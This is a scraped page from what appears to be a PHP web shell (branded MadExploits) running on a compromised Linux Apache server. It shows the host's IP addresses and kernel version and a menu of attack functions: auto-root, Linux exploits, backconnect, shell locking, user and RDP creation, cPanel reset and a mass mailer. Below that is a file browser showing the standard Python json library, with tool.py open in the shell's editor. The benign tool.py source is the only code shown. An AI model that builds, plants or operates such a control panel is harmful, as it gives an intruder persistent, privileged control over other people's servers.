Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.137.164.229
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
json /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
14.4
KB
-rw-r--r--
__init__.pyc
13.63
KB
-rw-r--r--
__init__.pyo
13.63
KB
-rw-r--r--
decoder.py
13.43
KB
-rw-r--r--
decoder.pyc
11.81
KB
-rw-r--r--
decoder.pyo
11.81
KB
-rw-r--r--
encoder.py
16
KB
-rw-r--r--
encoder.pyc
13.39
KB
-rw-r--r--
encoder.pyo
13.39
KB
-rw-r--r--
scanner.py
2.24
KB
-rw-r--r--
scanner.pyc
2.18
KB
-rw-r--r--
scanner.pyo
2.18
KB
-rw-r--r--
tool.py
997
B
-rw-r--r--
tool.pyc
1.26
KB
-rw-r--r--
tool.pyo
1.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tool.py
r"""Command-line tool to validate and pretty-print JSON Usage:: $ echo '{"json":"obj"}' | python -m json.tool { "json": "obj" } $ echo '{ 1.2:3.4}' | python -m json.tool Expecting property name enclosed in double quotes: line 1 column 3 (char 2) """ import sys import json def main(): if len(sys.argv) == 1: infile = sys.stdin outfile = sys.stdout elif len(sys.argv) == 2: infile = open(sys.argv[1], 'rb') outfile = sys.stdout elif len(sys.argv) == 3: infile = open(sys.argv[1], 'rb') outfile = open(sys.argv[2], 'wb') else: raise SystemExit(sys.argv[0] + " [infile [outfile]]") with infile: try: obj = json.load(infile) except ValueError, e: raise SystemExit(e) with outfile: json.dump(obj, outfile, sort_keys=True, indent=4, separators=(',', ': ')) outfile.write('\n') if __name__ == '__main__': main()
Close